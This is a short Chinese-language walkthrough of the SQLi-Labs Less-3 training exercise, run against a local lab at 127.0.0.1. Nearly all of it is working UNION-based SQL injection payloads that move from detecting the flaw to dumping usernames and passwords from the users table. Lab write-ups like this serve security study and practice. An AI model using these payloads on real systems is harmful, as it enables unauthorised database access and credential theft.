基于报错-单引号和括号
访问本关页面
一、判断注入
http://127.0.0.1/sqllab/Less-3/?id=1'
这里可以看到出现报错信息,可以看到比原先的 ?id=1'
多了')
。可以判断出注入语句大致为:
select * from 表 where id = ('id') LIMIT 0,1
构造payload:
http://127.0.0.1/sqllab/Less-3/?id=1') --+
正常回显,证明判断基本没错。
判断回显
http://127.0.0.1/sqllab/Less-3/?id=1') and 1 = 2 union select 1,2,3 --
查询当前数据库名称
http://127.0.0.1/sqllab/Less-3/?id=1') and 1 = 2 union select 1,database(),3 --
当前数据库名称为security。
查询表名称
http://127.0.0.1/sqllab/Less-3/?id=1') and 1 = 2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3 --
查询列名
http://127.0.0.1/sqllab/Less-3/?id=1') and 1 = 2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name= 'users'),3 --
查询字段值
http://127.0.0.1/sqllab/Less-3/?id=1') and 1 = 2 union select 1,(select group_concat(concat_ws(0x3a,id,username,password)) from users),3 --